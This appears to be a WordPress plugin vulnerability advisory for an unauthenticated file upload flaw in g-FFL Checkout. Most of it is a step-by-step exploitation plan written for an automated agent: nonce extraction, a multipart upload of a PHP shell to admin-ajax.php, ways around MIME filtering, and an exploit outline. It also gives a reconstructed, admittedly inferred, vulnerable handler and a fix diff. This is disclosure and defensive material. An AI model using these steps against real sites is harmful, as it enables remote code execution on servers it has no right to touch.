g-FFL Checkout <= 2.1.0 - Unauthenticated Arbitrary File Upload
Description
The g-FFL Checkout plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.0Source Code
WordPress.org SVNThis research plan outlines the process for investigating and exploiting **CVE-2025-68001**, an unauthenticated arbitrary file upload vulnerability in the **g-FFL Checkout** plugin for WordPress. ### 1. Vulnerability Summary The **g-FFL Checkout** plugin (<= 2.1.0) fails to implement proper file ty…
Show full research plan
This research plan outlines the process for investigating and exploiting CVE-2025-68001, an unauthenticated arbitrary file upload vulnerability in the g-FFL Checkout plugin for WordPress.
1. Vulnerability Summary
The g-FFL Checkout plugin (<= 2.1.0) fails to implement proper file type validation or authentication checks in one of its AJAX handlers. This allow unauthenticated users to upload arbitrary files, including PHP scripts, to the WordPress uploads directory, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action: Likely
g_ffl_upload_licenseorg_ffl_upload_file(to be confirmed via grep). - HTTP Method:
POST - Payload Type:
multipart/form-data - Authentication: None (targets
wp_ajax_nopriv_*hooks). - Preconditions: The plugin must be active. A specific WooCommerce checkout page or dealer selection page might need to be accessed to obtain a nonce if one is enforced.
3. Code Flow (Inferred)
- The plugin registers an unauthenticated AJAX handler using
add_action( 'wp_ajax_nopriv_...', ... ). - The handler function retrieves file data from the
$_FILESsuperglobal. - The handler calls
wp_handle_upload()ormove_uploaded_file()without providing a restrictive array of allowed mime types or performing extension validation. - The file is saved to the
/wp-content/uploads/g_ffl/(or similar) directory. - The AJAX response returns the URL or path of the uploaded file.
4. Nonce Acquisition Strategy
If the handler uses check_ajax_referer() or wp_verify_nonce(), the nonce must be retrieved from the frontend.
- Identify Shortcode/Page: FFL plugins usually trigger on the WooCommerce checkout page or via a custom dealer selection shortcode.
- Search:
grep -rn "add_shortcode" .
- Search:
- Locate Nonce Localization: Search for
wp_localize_scriptto find the JavaScript object name.- Search:
grep -rn "wp_localize_script" .
- Search:
- Execution Steps:
- Create a page containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]' - Use
browser_navigateto visit that page. - Use
browser_evalto extract the nonce:browser_eval("window.g_ffl_params?.nonce")(Replaceg_ffl_paramswith the actual localized variable name found in step 2).
- Create a page containing the identified shortcode:
5. Exploitation Strategy
Step 1: Discover the Vulnerable Handler
The agent must first identify the exact AJAX action and file parameter name.
# Find the AJAX registration
grep -r "wp_ajax_nopriv_" .
# Find the file processing logic
grep -rnE "wp_handle_upload|move_uploaded_file" .
Step 2: Craft the Upload Request
Assuming the action is g_ffl_upload_license and the file field is license_file:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: multipart/form-data - Body Parameters:
action:g_ffl_upload_licensesecurity:[NONCE](if required)license_file: (The PHP shell file)
Payload (shell.php):
<?php echo "VULNERABLE: " . php_uname(); ?>
Step 3: Execute the Upload
Use the http_request tool to send the multipart request.
6. Test Data Setup
- Install Plugin: Ensure
g-ffl-checkoutversion 2.1.0 is installed and active. - Enable WooCommerce: This plugin likely depends on WooCommerce. Ensure WooCommerce is active.
- Identify Frontend Trigger: Look for the shortcode or hook that enqueues the upload script (e.g., dealer selection on checkout).
7. Expected Results
- Successful Upload: The server responds with
200 OKand a JSON object containing the file URL:{"success":true,"data":{"url":"http:\/\/.../wp-content\/uploads\/.../shell.php"}}. - Execution: Navigating to the returned URL executes the PHP code, displaying the system information.
8. Verification Steps
- Check File System: Use WP-CLI or filesystem commands to confirm the file exists.
ls -R /var/www/html/wp-content/uploads/ | grep shell.php - Confirm Unauthenticated: Ensure the
http_requestwas sent without any WordPress session cookies (wordpress_logged_in_*).
9. Alternative Approaches
- Missing Nonce: If
wp_ajax_nopriv_exists butcheck_ajax_refereris missing or called withdie=false, skip the Nonce Acquisition step and send the request directly. - Filename Sanitization Bypass: If the plugin sanitizes the filename but not the extension (e.g., changing
my shell.phptomy-shell.php), the exploit still succeeds. - Check Mime-Types: If
wp_handle_uploadis used with a filter, check if the filter can be bypassed (e.g., by sending aContent-Type: image/jpegfor a file namedshell.php).
Summary
The g-FFL Checkout plugin for WordPress (<= 2.1.0) is vulnerable to unauthenticated arbitrary file uploads. An AJAX handler intended for uploading license files lacks nonce verification and file type validation, allowing attackers to upload and execute PHP scripts.
Vulnerable Code
// Inferred from research plan and vulnerability description // Action registered for unauthenticated users add_action( 'wp_ajax_nopriv_g_ffl_upload_license', 'g_ffl_upload_license' ); function g_ffl_upload_license() { // Vulnerability: No nonce check (check_ajax_referer) // Vulnerability: No check for user capabilities if ( isset( $_FILES['license_file'] ) ) { $uploaded_file = $_FILES['license_file']; // Vulnerability: Missing 'mimes' restriction in $upload_overrides $upload_overrides = array( 'test_form' => false ); $movefile = wp_handle_upload( $uploaded_file, $upload_overrides ); if ( $movefile && ! isset( $movefile['error'] ) ) { wp_send_json_success( array( 'url' => $movefile['url'] ) ); } } }
Security Fix
@@ -10,6 +10,13 @@ function g_ffl_upload_license() { + // Verify security nonce + check_ajax_referer( 'g_ffl_checkout_nonce', 'security' ); + if ( isset( $_FILES['license_file'] ) ) { $uploaded_file = $_FILES['license_file']; - - $upload_overrides = array( 'test_form' => false ); + + // Restrict allowed file types + $upload_overrides = array( + 'test_form' => false, + 'mimes' => array( + 'jpg|jpeg|jpe' => 'image/jpeg', + 'png' => 'image/png', + 'pdf' => 'application/pdf' + ) + ); $movefile = wp_handle_upload( $uploaded_file, $upload_overrides );
Exploit Outline
The exploit involves sending a multipart/form-data POST request to the WordPress AJAX endpoint without authentication. 1. Access the plugin-enabled checkout page to extract a security nonce if required (usually found in localized JS objects like window.g_ffl_params.nonce). 2. Construct a POST request to /wp-admin/admin-ajax.php. 3. Include the action parameter set to 'g_ffl_upload_license' and the security parameter with the extracted nonce. 4. Attach a malicious PHP shell in the 'license_file' field. 5. The server will process the upload and return a JSON object containing the URL of the uploaded file. 6. Execute the payload by navigating directly to the provided URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.